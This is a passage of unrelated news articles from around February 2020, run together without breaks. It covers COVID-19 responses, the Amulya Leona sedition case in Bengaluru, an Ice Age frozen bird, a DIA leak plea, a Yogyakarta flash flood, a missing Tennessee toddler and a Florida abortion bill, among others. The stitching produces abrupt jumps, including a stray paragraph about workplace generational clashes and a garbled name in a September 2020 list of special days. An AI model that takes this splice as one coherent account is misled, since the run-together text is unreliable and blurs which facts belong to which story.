2 million yuan worth of sanitary products and funds within one day. Female entrepreneurs in Guangdong Province have donated over 1,600 boxes of diapers for adults to the provinces female medical workers who are helping in Hubei Province, the epicenter of the outbreak. Given that some medical workers at the frontline have developed psychological symptoms such as anxiety and fear due to high work pressure, womens federations across the country have cooperated with professionals to provide psychological counseling. Data shows the hotline of the womens federation system has received over 1,000 phone calls each day since the beginning of the outbreak, around 70 percent of which are about psychological counseling. Local womens federations have also contacted families of medical workers who are helping in Hubei, providing them with daily necessities and psychological comfort. They have also been organizing teachers to provide online education for children of these medical workers and set up online chat groups to read books for young children. Most of us have seen similar clashes in the workplace. Some youngsters are so eager for the old-timers to get out of the way that they are practically salivating. Many of them see nothing of value in the wealth of knowledge and experience someone who has been around six decades or more has to offer. A woman has been pressed with sedition charges after she raised Pakistan Zindabad slogan at an anti-CAA rally organised by the All India Majlis-e-Ittehad-ul-Muslimeen (AIMIM) in Bengaluru on February 20. The girl, named Amulya Leona, raised the Pakistan Zindabad slogan along with Hindustan Zindabad in the presence of AIMIM chief Asaduddin Owaisi, reported ANI. The party head rushed towards Leona to snatch the mic as police officers present tried to whisk her away. #WATCH The full clip of the incident where a woman named Amulya at an anti-CAA-NRC rally in Bengaluru raised slogan of 'Pakistan zindabad' today. AIMIM Chief Asaddudin Owaisi present at rally stopped the woman from raising the slogan; He has condemned the incident. pic.twitter.com/wvzFIfbnAJ ANI (@ANI) February 20, 2020 Owaisi immediately took the mic and said, I condemn the statement. The woman is not associated with us.. The police have registered a case under the Section 124A (Offence of Sedition) of the Indian Penal Code against Leona. The judicial magistrate denied her bail. Leona will be kept in judicial custody till February 23. The police said it will first interrogate Leona before producing her before the court. Bengaluru: A day after Amulya Leona incident of raising pro-Pakistan slogans at an anti-CAA rally organised by AIMIM in Karnataka, the state police on Friday (February 21) took another girl in custody for holding a placard reading 'Dalit Mukti, Kashmir Mukti & Muslim Mukti' in Kannada. The girl was sitting among Hindu Jagaran Samiti members who were protesting against Amulya Leona. The Bengaluru Police later disclosed the name of the woman as Arudra. Confirming the incident, Bengaluru Police Commissioner Bhaskar Rao said that the girl was taken in custody for interrogation. "The girl is a fashion designer ... she is not minor ...She is regretting her action," he said, adding "She does not know anything about CAA /NRC." "Who is instigating these people we need to find out," he added. Meanwhile, Bhaskar Rao said, "a case has been registered against the girl (Amulya) and others. She has been remanded to judicial custody. We are looking at role of organisers. Role of honourable MP(Asaduddin Owaisi) does not figure anywhere as he was also an invitee." Karnataka Home Minister Basavaraj Bommai, however, told ANI, "Amulya Leona comes from a place where Naxals have been very active for a long time. She has shared a lot of posts on Facebook. We will investigate these angle as well." Earlier in the day, Amulya Leona's residence at Gubbi Gadde village Chikmagalur was vandalised by some protesters. Keeping the family's safety in mind, security detail has been provided to the family. The police filed an FIR against Amulya under Section 124A (Offence of sedition) of the Indian Penal Code and she has been sent to 14-day judicial custody. Amulya Leona, 24, had raised 'Pakistan Zindabad' slogan during an anti-CAA rally organised by AIMIM in Karnataka on Thursday. Amulya Leona's father and small-time Janata Dal (Secular) leader Oswald Naronha condemned his daughter's act, and added "the guilty should be punished as per law". He claimed that he had tried advise Amulya many a times but she does not heed his advice. In 2016, doctors found a brain tumor in 3-year-old Owen Langstons head. Normally a talkative and energetic child, Owen was soon barely able to move and speak more than one or two words after complicated neurosurgery and months of chemotherapy. He was only able to say no and mom and it made us worried about long time issues, Owens mom said, speaking at the luncheon A Celebration of Life, presented by the Gulf Coast Regional Blood Center on Thursday. But Owen persevered and it didnt take him long until he was literally up and running, telling jokes and playing with his older sister Claire again. Six months later during a routine scan, Owens parents were informed the cancer had returned. Once again Owen bravely underwent more surgery and all Owens parents could do was watch, wait, and donate blood. But his parents blood wasnt enough. Through the selfless efforts of blood donors, Owens life was saved and his ability to run and joke around is stronger than ever. Whats brown and sticky? A stick. Owen joked on stage at the luncheon. The Gulf Coast Regional Blood Center is a nonprofit organization that began operations in 1975 and now serves more than 170 hospitals and healthcare institutions on the Gulf Coast. In order to meet the needs of every community they are in, the Blood Center must collect around 800 donations every day. Youre making the nation strong again by donating blood, said Dr. Arthur Bracey at the luncheon, the chief of clinical pathology at Baylor St. Lukes Medical Center. With a blood supply shortage already in effect, its rare that anybody who does receive donated blood can meet their actual donors. Thats why on Thursday afternoon Owen and his family were surprised when two of Owens blood donors took the stage and Owen was able to hug the people who helped save his life. One of the donors, Jaime, is an employee at the Gulf Coast Regional Blood Center and even he didnt expect to be so moved when he met Owen. Whether its the pain that you feel when the needle goes in or the hour of the time you give up, Jaime said after finally meeting Owen, it takes a lot. But in return for that one gift you get so much more. Getting to meet Owen and seeing the impact my donation had on his life, thats something Im going to get to have for the rest of my life. I didnt expect to be a blubbery mess, but it hits you right in the feels, you know? Owens gratitude could be seen when he ran around the lobby and hugged his sister Claire. The active youngster even tested his humor out. What did the police officer say to the belly button? Owen asked the crowd at the luncheon. Youre under a vest. ryan.nickerson@hcnonline.com Source: Xinhua| 2020-02-21 09:33:39|Editor: huaxia Video Player Close Chinese President Xi Jinping (R) meets with South Korean President Moon Jae-in in Osaka, Japan, June 27, 2019. (Xinhua/Huang Jingwen) Xi said he believes that following the victory against the COVID-19, the friendly feelings between the Chinese and South Korean people will grow even deeper, and bilateral exchanges and cooperation more flourishing. BEIJING, Feb. 21 (Xinhua) -- The impact of the COVID-19 epidemic on China-South Korea economic cooperation and people-to-people exchanges will only be temporary, Chinese President Xi Jinping said in a phone conversation with South Korean President Moon Jae-in on Thursday. Noting that at the special moment when the Chinese people are fighting against the infectious coronavirus disease, Moon chose to call to express sympathies and support and exchange views on deepening bilateral ties, Xi said that reflects the friendly bond between the two nations, which are close neighbors that always support each other through thick and thin. Since the novel coronavirus outbreak, Xi stressed, the Chinese government has mobilized resources throughout the country, united all the Chinese people as one, and taken the most comprehensive, rigorous and thorough measures to prevent and control the spread of the COVID-19. Medical team members gesture to encourage each other before leaving for Wuhan of Hubei Province at Changshui International Airport in Kunming, capital of southwest China's Yunnan Province, Feb. 20, 2020. (Xinhua/Hu Chao) Thanks to those arduous efforts, the situation has witnessed positive changes, he said, stressing that the epidemic will by no means shake the solid foundation of China's long-term stable development. China, he added, will endeavor to minimize the impact of the epidemic and realize its economic and social development goals. China's forceful prevention and control measures are not only aimed at safeguarding the lives and health of the Chinese people, but also contributing to the world's public health cause, Xi said. Xi expressed China's deep gratitude for the care and sympathies as well as the considerable help and support the South Korean government and society have offered to China since the COVID-19 outbreak. A video cheering for China in fighting against novel coronavirus pneumonia is played in Gwanghwamun Station in Seoul, South Korea, Feb. 18, 2020. (Xinhua/Wang Jingqiang) China will continue to strengthen communication and cooperation with South Korea and other countries in an open and transparent manner, so as to tackle the epidemic together and promote the health and well-being of people across the world, said the Chinese president. He pointed out that China and South Korea are close neighbors and important cooperation partners, and that bilateral relations are enjoying good momentum of development. Recalling that during their meeting in Beijing at the end of 2019, the two heads of state reached a series of important consensuses, Xi expressed the hope that the two sides will lift the China-South Korea strategic cooperative partnership to higher levels. Xi said he believes that following the victory against the COVID-19, the friendly feelings between the Chinese and South Korean people will grow even deeper, and bilateral exchanges and cooperation more flourishing. Masks donated by South Korean city of Cheonan to Weihai City in east China's Shandong Province, at Incheon International Airport, South Korea, Jan. 29, 2020. (NEWSIS/Handout via Xinhua) Moon, for his part, conveyed the South Korean government and people's sincere sympathies to the Chinese people over the epidemic. The South Korean side applauds China's great efforts in tackling the COVID-19, and believes that under the strong leadership of Xi, the Chinese people will unite as one and win the battle against the epidemic at an early date, he said. Noting that the two countries are close neighbors and South Korea takes China's difficulties as its own, Moon said his country will firmly stand together with China, and is willing to provide China with more assistance, carry out epidemic prevention cooperation with China, and take this battle as an opportunity to strengthen bilateral health cooperation. This year is of significance to the development of South Korea-China relations, Moon said, pledging that South Korea stands ready to work with China to deepen cooperation in various fields and score new progress in bilateral relations. A frozen bird was so well preserved that fossil hunters thought that it had 'died yesterday' has turned out to be 46,000 years old, from the middle of the last ice age. The specimen an ancestor of the modern horned lark was found preserved in permafrost in a mine tunnel near the village of Belaya Gora in north-east Siberia. Horned larks typically occupy open habitats, such as would have been found in Siberia back during the last ice age. The 'Icebird' as researchers have dubbed it was female, and thought to be the first recorded example of a frozen bird from this time to be found in the area. The researchers believe that the animal likely died a non-violent death before it was frozen, a fate that kept it from decomposing over the millennia. Scroll down for video A frozen bird, pictured, was so well preserved that fossil hunters thought that it had 'died yesterday' has turned out to be 46,000 years old, from the middle of the last ice age The specimen an ancestor of the modern horned lark, pictured was found preserved in permafrost in a mine tunnel near the village of Belaya Gora in north-east Siberia Palaeontologist Love Dalen of the Swedish Museum of Natural History and colleagues were given the bird to study after it was discovered buried underground by local fossil ivory hunters. Found when the hunters were tunnelling into the permafrost, the frozen carcass was entombed around seven metres underground. Professor Dalen and his colleague Nicolas Dussex of the Centre for Palaeogenetics in Stockholm carefully analysed the remains back in their laboratory. Radiocarbon dating revealed that the bird lived around 46,000 years ago and the team identified it as an ancestor of the modern horned lark, Eremophila alpestris. Originally, the researchers were baffled as to what sort of bird it was, thinking that it might have been a thrush or a lark. Help from ornithologists via Twitter helped identify the bird, however which was a relative of two different subspecies of horned lark found in Russia and Mongolia. 'This finding implies that the climatic changes that took place at the end of the last Ice Age led to formation of new subspecies,' Professor Dalen told CNN. The team speculates that the animal did not die a violent death as there are no obvious signs on its remains, adding that it likely froze very quickly. 'The fact that such a small and fragile specimen was near intact also suggests that dirt/mud must have been deposited gradually,' Dr Dussex told CNN. 'Or at least that the ground was relatively stable so that the bird's carcass was preserved in a state very close to its time of death.' The 'Icebird' as researchers have dubbed it was female, and thought to be the first recorded example of a frozen bird from this time to be found in the area 'The study deals with radiocarbon dating and a genomic analysis on what is likely the first-ever discovered frozen bird from the last Ice Age,' Professor Dalen said. 'No autopsy has been done but I think we can conclude its death likely wasn't violent and it must have been frozen relatively quickly because otherwise it falls apart.' 'I'm pretty sure we also sexed it and it's a female which is also a little fun fact but we're not entirely sure what we're going to do with that information.' 'We haven't discussed giving it a formal name but within our circle we call it 'Icebird' because it was found frozen.' The researchers believe that the animal likely died a non-violent death before it was frozen, a fate that kept it from decomposing over the millennia. Pictured, a close-up of the Icebird's foot The specimen an ancestor of the horned lark was found preserved in permafrost in a mine tunnel near the village of Belaya Gora in north-east Siberia '[I was] holding that little bird in my hand and feeling that it looks like it died yesterday but might have actually died tens of thousands of years ago,' Professor Dalen added. 'It's a small animal that would have been flying around and living in that environment with cave lions and mammoths and so on it's a pretty special feeling.' At the same site, the researchers also found an 18,000-year-old frozen puppy possibly either a dog or a wolf which they are currently in the process of studying. The full findings of the study were published in the journal Communications Biology. A counter-terrorism analyst at the US Defense Intelligence Agency pleaded guilty on Thursday to leaking secret information to journalists, including details about foreign countries' weapons systems. Henry Kyle Frese, 31, who was arrested in October, faces a maximum of 10 years in prison when he is sentenced in June, the Department of Justice said in a statement. It detailed how Frese had leaked information to two unnamed journalists, one of whom he lived with, in 2018 and 2019. One outlet, which was also not named, published eight articles containing classified information. Frese searched restricted government computer systems at least 30 times in 2018 for information to pass on verbally to the two journalists. He also sent some secret information via private messages on social media, the Department of Justice said, citing court documents. "He alerted our country's adversaries to sensitive national defense information, putting the nation's security at risk," Assistant Attorney General for National Security John Demers said. "Disclosing such information for personal gain, or that of others, is not selfless or heroic, it is criminal." The journalists involved appeared to work for CNBC and NBC News, according to US media. CNBC, citing "sources with direct knowledge of US intelligence reports," reported in May 2018 that China had installed anti-ship cruise missiles and surface-to-air missile systems on the contested Spratly Islands. Frese was a contractor with DIA from January 2017 to February 2018, and then a full-fledged DIA employee, with clearance ranging up to top secret level, officials said. The DIA is the US military's intelligence service. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Wana company, which holds Inwi, said it withdrew a lawsuit it had brought in 2018 against Maroc Telecom after the latter was fined by the telecoms regulator. Al Mada holding, which owns most stakes in Wana company, urged the board of directors to abandon the case, Wana said in a statement. Wana dropped the case after Moroccos regulator ordered Maroc telecom, the countrys leading operator, to pay 3.3 billion dirhams ($340 million) to the state due to its abuse of its dominant position in the market. The board of directors of Wana has no doubt that such measures and sanctions will enable the restoration of fair competition in the telecommunications market to the interest of consumers and enterprises and in strict respect of the law and regulations in force, the statement adds. Maroc Telecom has been found guilty of practicing anti-competitive practices since 2013, the regulator ARNT said few days ago, noting that the market leader refused to share unbundling on its network with other competitors in order to maintain monopoly of fixed broadband. Other sanction may be imposed on Maroc Telecom if it doesnt comply, the regulator ANRT said. Maroc Telecom said in response it took note of the decision adding that it would challenge it. India is a constitutional republic country that consists of 29 states and Union territories with New Delhi as its capital. In India, there are several festivals, occasions and formal holidays that come from several sects of society. With such diversity in each corner of the country, numerous beliefs, languages, regional rituals and more are observed in every state. Various ceremonies, occasions and festivals are celebrated in the country with full enthusiasm. Some events and days celebrate the achievements of great personalities or dates that are of international importance. There are many important days in September 2020 that you would want to know about. Important days in September include many formal events. So, here is an extensive list of important national and international days, events and festivals which will help you improve your GK and also to plan the month properly. 1 September - National Nutrition Week National Nutrition Week: Image Credit: Shutterstock National Nutrition Week is conducted every year from September 1 to September 7 to provide knowledge among people about the importance of nutrition for better health. 2 September - Victory over Japan Day, World Coconut Day & Last Day of Onam Victory over Japan Day: Japan surrendered aboard the U.S.S Missouri on September 2, 1945, which was anchored in Tokyo Bay after its defeat in World War 2. World Coconut Day Image Credit: Shutterstock World Coconut Day helps to create awareness for the importance of this fruit in poverty reduction. This day also honours the formation day of the Asian Pacific Coconut Community (APCC). 22 August - September 2, 2020 - Onam Festival Onam festival Image Credit: Shutterstock People across the state Kerala celebrate Onam festival with joy as it is the harvesting festival and marks the homecoming of mythical King Mahabali. The date keeps changing every year as per the Hindu Calendar and this year Onam ends on September 2. Also Read | Important days in August 2020 of National & International importance; here's the full list 3 September - Skyscraper Day Skyscraper Day Image Credit: Shutterstock Skyscraper Day marks the ability of the man to construct an industrial masterpiece. It is celebrated in the memory of William Can Aien on his birthday. William Can Aien is a genius behind the construction of the Chrysler Building which is one of the iconic landmarks in New York City. 5 September - International Day of Charity, Teachers' Day (India) (First Saturday of September) International Day of Charity Image Credit: Shutterstock International Day of Charity is celebrated every year to eradicate poverty in all its forms. Teachers Day Image Credit: Shutterstock Teachers Day in India celebrates the birth anniversary of India's second President Dr Sarvapalli Radhakrishnan. On this occasion, students appreciate and acknowledge the efforts of teachers in shaping their future. 7 September - Brazilian Independence Day Brazilian Independence Day: Image Credit: Shutterstock Brazil got its independence from the Portuguese on September 7, 1822. However, in 1889, Brazil accepted to become a republic government and it ended its monarchical system. This is the reason why they celebrate September 7 as its Independence Day. 8th September - International Literacy Day International Literacy Day Image Credit: Shutterstock International Literacy Day came into existence to make people aware of the importance of literacy which is amongst the basic human rights. 10 September - World Suicide Prevention Day (WSPD) World Suicide Prevention Day Image Credit: Shutterstock World Suicide Prevention Day (WSPD) is conducted every year to raise awareness and prevent more suicides from happening. This day is established by the International Association for Suicide Prevention (IASP) and co-sponsored by WHO. Also Read | Important Days in May 2020 that you need to know about for your GK 14 September - World First Aid Day & Hindi Diwas World First Aid Day World First Aid Day raises awareness about the importance of first aid and how it can save lives in case of an emergency. Hindi Divas: Image Credit: Shutterstock On this day, the Constituent Assembly of India had adopted Hindi written in Devanagari script in 1949 as the official language of the Republic of India. 15 September - Engineers Day (India), International Day of Democracy Engineers Day Image Credit: Shutterstock Engineers Day is celebrated in India to give a tribute to India's first engineer, Engineer Bharat Ratna Mokshagundam Visvesvaraya. International Day of Democracy Image Credit: Shutterstock International Day of Democracy provides an opportunity to make people appreciate the importance of democracy and the effective realisation of Human Rights. 16 September - World Ozone Day World Ozone Day Image Credit: Shutterstock World Ozone Day: On this day in 1987, the Montreal Protocol was signed. Since 1994, World Ozone Day is celebrated which was established by the United Nations General Assembly to remind the world about the depletion of the Ozone Layer and its dangers. 21 September - International Day of Peace (UN) & World Alzheimer's Day International Day of Peace Image Credit: Shutterstock International Day of Peace (UN) is amongst the most special days in September which is observed around the world since September 1982. In 2001, the General Assembly adopted a resolution 55/282, which established September 21 as International Day of Peace of non-violence and cease-fire. World Alzheimer's Day World Alzheimer's Day helps in raising awareness among people about the challenges faced by the due to dementia. In 2012, World Alzheimer's Month was launched. 22 September - Rose Day (Welfare of Cancer patients) Rose Day Image Credit: Shutterstock Rose Day enables the world to stand for the welfare of cancer patients and helps in creating hope for cancer patients for the availability of its cure. The world celebrates this day in the memory of a 12-year-old Melinda Rose who is a resident of Canada. Melinda was diagnosed with a rare form of blood cancer and did not give up hope to fight the disease. 26 September - European Day of Languages, World Contraception Day & World Maritime Day (Fourth Saturday of September) European Day of Languages European Day of Languages is celebrated annually to increase awareness among the citizens about the significance of language learning and protecting the heritage of the language World Contraception Day Image Credit: Shutterstock World Contraception Day is a global campaign to make people aware of the contraceptive methods available and enable young citizens to make mature decisions in terms of sexual and reproductive health. Also Read | Important Days in July 2020: An extensive guide through month's essential dates 27 September - World Tourism Day & World Rivers Day (Fourth Sunday of September) World Tourism Day Image Credit: Shutterstock World Tourism Day helps in highlighting the importance of tourism to generate employment and build a future for millions of people around the world. World Rivers Day World Rivers Day is celebrated every year on last Sunday of September. In 2020, it comes on September 27. This day marks the importance of rivers and encourages people to improve and save water, rivers around the world. 21st September - 27th September - International Week of the Deaf or Deaf Awareness Week International Week of the Deaf Image Credit: Shutterstock International Week of the Deaf or Deaf Awareness Week starts on the last week of September and ends on the last Sunday of the month. It is also known as World Day of Deaf. This day draw the attention of the world towards the achievements and challenges faced by the community of the deaf people. 28 September - World Rabies Day World Rabies Day Image Credit: Shutterstock World Rabies Day is conducted every year to keep people informed of the prevention regarding rabies. The day also highlights the progress of the world in defeating this horrifying disease. 29 September - World Heart Day World Heart Day Image Credit: Shutterstock World Heart Day is observed annually to inform the world about heart-related diseases. It creates awareness about stroke which is the world's leading cause of death. Important days in September 2020 Dates Special Days in September 2020 September 1 National Nutrition Week September 2 Victory over Japan Day, World Coconut Day & Last Day of Onam Last day of Onam Festival September 3 Skyscraper Day September 5 International Day of Charity, Teachers' Day (India) (First Saturday of September) September 7 Brazilian Independence Day September 8 International Literacy Day September 10 World Suicide Prevention Day (WSPD) September 14 World First Aid Day & Hindi Diwas September 15 Engineers Day (India), International Day of Democracy September 16 World Ozone Day September 21 International Day of Peace (UN) & World Alzheimer's Day September 22 Rose Day (Melinda Rose) September 26 European Day of Languages, World Contraception Day & World Maritime Day (Fourth Saturday of September) September 27 World Tourism Day & World Rivers Day (Fourth Sunday of September) Last day of the International Week of the Deaf or Deaf Awareness Week September 28 World Rabies Day September 29 World Heart Day Also Read | Important days in June 2020 that you must be aware of to improve your General Knowledge The World Health Organisation on Thursday chided the international community for not stepping up enough to finance the battle to contain the novel coronavirus that has shut down many parts of China and killed more than 2,000 people. The United Nations health agency issued a call earlier this month for US$675 million "to implement priority public health measures in support of countries to prepare for and respond to" the spread of the new coronavirus that causes the potentially deadly respiratory illness known as Covid-19. "Considering the urgency and considering that we're fighting a very dangerous enemy, we're surprised that the response is not really something that we would expect," WHO Director General Tedros Adhanom Ghebreyesus, said in a press briefing on Thursday from Geneva. "Because of the serious measures that China is taking, the number of cases in the rest of the world is small, but it doesn't mean that the small number of cases in the rest of the world will stay the same for long," Tedros said. "It wasn't without reason some couple of weeks ago I said this virus is very dangerous and it's public enemy No 1," he added. "But it's not being treated as such, and one important indicator is the response, especially to financing the response." Tedros did not say how much funding has been committed since the appeal was issued. The WHO did not immediately respond a query about the amount of funding pledged so far. On February 7, US Secretary of State Michael Pompeo pledged to spend up to US$100 million to assist China and other countries affected by the contagion. Pompeo noted at the time that his department had "facilitated the transportation of nearly 17.8 tons [16.1 tonnes] of donated medical supplies to the Chinese people, including masks, gowns, gauze, respirators, and other vital materials". Wang Chen, president of the China Academy of Medical Science, said on Wednesday that despite a recent drop in the rate of new cases and fatalities on the mainland, the world should be prepared for the possibility that Covid-19 " the official name of the illness caused by the coronavirus " was here to stay. Story continues Wang said the new coronavirus was different from the virus which caused severe acute respiratory syndrome (Sars), which was both contagious and fatal. "This new coronavirus may become a long-term disease that coexists with humans, just like flu," he told state broadcaster CCTV. Ukrainian law enforcement officers clear the way as demonstrators block a road during a protest against the arrival of a plane carrying evacuees from China's Hubei province. Photo: Reuters alt=Ukrainian law enforcement officers clear the way as demonstrators block a road during a protest against the arrival of a plane carrying evacuees from China's Hubei province. Photo: Reuters That possibility is why part of the funds the WHO seeks will be earmarked to speed up research and development, and to provide for "the equitable availability of" treatments, vaccines and diagnostics. The agency is asking for US$4.7 million for this portion of its "strategic preparedness and response" plan. "Our objective still is containment," Jaouad Mahjour, the WHO's deputy director general, said at Thursday's briefing. Mahjour added that "while hammering the outbreak now using the simple public health solutions, we have to also prepare for any eventualities or worse scenarios. "That's why we need a vaccine." The WHO plan also calls for US$640 million to enhance response operations, including surveillance, laboratory, and emergency coordination capacity. Purchase the China AI Report 2020 brought to you by SCMP Research and enjoy a 20% discount (original price US$400). This 60-page all new intelligence report gives you first-hand insights and analysis into the latest industry developments and intelligence about China AI. Get exclusive access to our webinars for continuous learning, and interact with China AI executives in live Q&A. Offer valid until 31 March 2020. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. Delhi: In South Korea, Singapore and Iran, clusters of infections are leading to a jump in cases of the new viral illness outside China. But it's not the numbers that are worrying experts, it is the fact that increasingly, they cannot trace where the clusters started. World Health Organisation officials said China's crackdown on parts of the country had bought time for the rest of the world to prepare for the new virus. But as hot spots emerge around the globe, trouble finding each source the first patient who sparks every new cluster might signal the disease has begun spreading too widely for tried-and-true public health steps to stamp it out. Medical workers transfer a coronavirus patient to a hospital in Chuncheon, South Korea. Credit:AP "A number of spot fires occurring around the world is a sign that things are ticking along, and what we are going to have here is probably a pandemic," said Ian Mackay, who studies viruses at Australia's University of Queensland. That worst-case scenario isn't here yet, WHO insists. It isn't convinced that countries outside China need more draconian measures, but it pointed to spikes in cases in Iran and South Korea to warn that time might be running out to contain the virus. Share this article Whatsapp Facebook Twitter Linkedin Budi Sutrisno and Bambang Muryanto (The Jakarta Post) Yogyakarta Fri, February 21, 2020 20:18 690 7f440ff09e92db75a02bbad2065e5533 1 National flood,students,Yogyakarta,junior-high-schools,sleman Free At least six students were killed and dozens others went missing after a flash flood reportedly swept away more than 250 students who were trekking on the banks of the Sembor River in Donokerto village in Sleman, Yogyakarta, on Friday, the nation's disaster mitigation agency has said. National Disaster Mitigation Agency (BNPB) spokesman Agus Wibowo said the victims were seventh and eighth graders of Turi 1 junior high school taking part in scouting activities. As many as 257 student participants went on the trek despite the weather conditions. When the students were alongside the river, a sudden flood with torrential currents occurred and swept away the students. At the moment, a joint team involving a search and rescue team and the Sleman Police is still searching for the victims, Agus said. The local disaster mitigation agency and military personnel are also assisting in the emergency rescue. The situation was still developing and the final number of students affected by the incident had yet to be finalized, Agus said. As authorities in Sullivan County, Tennessee, continue their desperate search for 15-month-old Evelyn Mae Boswell, a man who dated the girls mother says he never met the toddler. Hunter Wood tells WJHL-TV that he casually dated Evelyns mother, Megan Maggie Boswell for several weeks before the toddler vanished sometime in December. All Ive seen is pictures of [Evelyn]; Ive never even seen the baby, Wood told the station. I have no relationship with that child whatsoever. Evelyn was last seen in December, according to the Tennessee Bureau of Investigation but she was officially reported missing only on Tuesday. Authorities first learned that Evelyn was missing after hearing from a grandfather who stated that he had not seen the toddler since December. The childs mother did not report her missing. PEOPLE confirmed that Boswell was questioned by authorities at the Sullivan County Sheriffs office on Thursday evening. She was not charged with any crime and left the Sheriffs office after the questioning. RELATED: Mom of Tenn. Girl Missing Since December Gave Conflicting and Inaccurate Information: Sheriff But in a press conference on Friday afternoon, Sullivan County Sheriff Jeff Cassidy alleged that Boswell has given conflicting and inaccurate information to authorities. RELATED: 15-Month-Old Tennessee Toddler Was Just Reported Missing But She Hasnt Been Seen Since December Tennessee Bureau of Investigation The toddlers father, Ethan Perry, is active duty in the U.S. military, and is stationed in Louisiana. In his interview with the news station, Hunter Wood alleges that Boswell told him that the baby was staying with her father while he was home on holiday leave. They have half custody to the best of my knowledge, Wood told the station. Its not my business to dig further into that because we werent that serious for me to dig further. Story continues Boswell did not respond to PEOPLEs request for comment. A statewide AMBER Alert has been issued for the toddler. Authorities are not disclosing further details on their investigation or disclosing why it took so long for the toddler to be reported missing. AMBER ALERT: We need your help to locate 15-month-old Evelyn Mae Boswell, who is missing from Sullivan County. If you have seen Evelyn, please call the Sullivan County Sheriff's Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. #TNAMBERAlert pic.twitter.com/wL3cKkswsh Tennessee Bureau of Investigation (@TBInvestigation) February 20, 2020 Want to keep up with the latest crime coverage? Sign up for PEOPLEs free True Crime newsletter for breaking crime news, ongoing trial coverage and details of intriguing unsolved cases. According to her AMBER Alert, Evelyn is 2 feet tall and weighs 28 lbs. She has blonde hair and blue eyes. She was last seen wearing a pink tracksuit, pink shoes, and a pink bow. Officials now say in the AMBER alert that they have information indicating that people traveling in a gray 2007 BMW with Tennessee plate 3M96W9 and front-end damage might have information in the disappearance of the toddler. Anyone who has information about Evelyns whereabouts is asked to call the Sullivan County Sheriffs Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. A descendant of the Rothschild dynasty began a lawsuit against the Vienna city authorities Thursday in a row over the running of a foundation set up by one of his forebears. American Geoffrey Hoguet, 69, is pressing for a say in the running of the foundation set up by his great-great uncle Nathaniel Freiherr von Rothschild, who left the equivalent of about 100 million euros ($110 million) when he died in 1905 to provide psychiatric help for the needy. "I'm not interested in any financial reward but I want the foundation to be re-established according to the will of my ancestor and to be brought back to life," Hoguet told AFP after Thursday's initial court hearing. The foundation was initially run by a 12-member committee and opened two psychiatric care institutions. After the Nazi takeover of Austria in 1938, the Jewish Rothschilds were expelled, their property seized and the foundation dissolved. After the war, in 1956, the foundation was re-established and placed directly under the control of the city of Vienna. New York investor Hoguet wants to see an independent committee run the foundation. The judge presiding over Thursday's hearing referred the case to another court but expressed concern over the fact that the city had total control over the foundation. The city authorities are contesting the suit and deny allegations that they have not adhered to Nathaniel von Rothschild's wishes. Historians say that Nathaniel von Rothschild's donation to set up the foundation was the largest individual bequest ever made in Austria. It was made in the family's heyday, at a time when its success in banking and industry had been rewarded with one of the biggest fortunes in Europe. One of the institutions was set up in 1912 and is now a neurological hospital. The other institution was one of the first places in the world to treat mental illness and was sold off in the 2000s -- at what Hoguet says was less than its market value. Hoguet said after the hearing that "bringing back the name of Rothschild in Austria is very important", adding that he had his "strongest roots" there. He had been a frequent visitor to Austria for decades and counted some of his closest friends there, he said. The country's Jewish population was almost totally wiped out under Nazi rule, with the vast majority either fleeing or falling victim to the atrocities of the Holocaust. "I don't want to create further separations for religion or politics -- I want to build bridges," Hoguet said. After the Nazi takeover of Austria in 1938, the Jewish Rothschilds were expelled Israel confirmed its first case of new coronavirus Friday, in a citizen who flew home from Japan earlier this week after being quarantined on the stricken cruise ship Diamond Princess. "One of the passengers who returned home from the cruise ship in Japan tested positive in a checkup by the health ministry's central laboratory," a ministry statement said, adding that the other dozen Israeli passengers who had flown home had all tested negative. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The jury in the MAX stabbings trial of Jeremy Christian deliberated for a full day Thursday but went home without reaching a verdict. Jurors will return at 9 a.m. Friday to continue their discussions into whether Jeremy Christian should be found guilty of first-degree murder for the deaths of Taliesin Namkai-Meche, 23, and Ricky Best, 53, and attempted first-degree murder for the serious wounding of Micah Fletcher, then 21. Christian stabbed all three men in the neck on the Green Line train as it pulled into the Hollywood Transit Center about 4:30 p.m. on May 26, 2017. Christian also is charged with the hate crime of second-degree intimidation for allegedly targeting two teenage girls -- one who is African American and the other who is from Somalia and was wearing a hijab. According to witnesses as well as video, Christian spoke of beheadings and yelled (Expletive) Saudi Arabia! and Go home, we need American here! His 6-minute diatribe included calls for Muslims, Christians and Jews to die. Christian also is charged with intimidating an African American woman the previous night. That woman, Demetria Hester, testified that Christian shouted racist words and said he was going to kill her while she rode a Yellow Line train on May 25, 2017. Hester said she maced him in the face and he threw a half-full drink container at her face. -- Aimee Green agreen@oregonian.com o_aimee Keep up with key trial events and takeaways by signing up for The Oregonian/OregonLives Jeremy Christian trial newsletter at oregonlive.com/newsletters. Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. Florida Gov. Ron DeSantis announces that he wants to raise the minimum starting salary for teachers during a press conference held at Bayview Elementary School in Fort Lauderdale, Florida, on Oct. 7, 2019. (Joe Raedle/Getty Images) Florida House Passes Abortion Parental Consent Bill, Governor DeSantis Intends to Sign The Florida state House approved a bill on Thursday requiring minors to get parental consent before seeking an abortion. It passed in the Senate in early February. The bill, which was passed 75-43 largely along party lines and will go into effect on July 1 once signed by Governor Ron DeSantis, requires a minor whos seeking an abortion to get notarized written consent from a parent or legal guardian and present it to the physician performing the operation. Physicians who intentionally or recklessly terminate a pregnancy of a minor without obtaining the required consent will be regarded as committing a felony of the third degree. The bill also allows several exemptions. Consent is not required if the physician finds a medical emergency exists and there is insufficient time for the physician to comply with the notification, the parent or legal guardian has issued a waiver, or the minor has judiciary waiver from a court. The court can issue a judiciary waiver if they find the minor is sufficiently mature to make the decision to terminate her pregnancy. Current Florida law requires that a parent or legal guardian must be notified before a minor has an abortion. According to the Centers for Disease Control and Prevention (CDC), 69,770 abortions were reported in Florida in 2016. Data from the Department of Health and Human Service (HHS) shows 15 out of 1,000 females ages between 15 and 19 committed abortion in 2013. The bill is set to revive a measure declared unconstitutional 30 years ago by the Florida State Supreme Court. In 1979, the 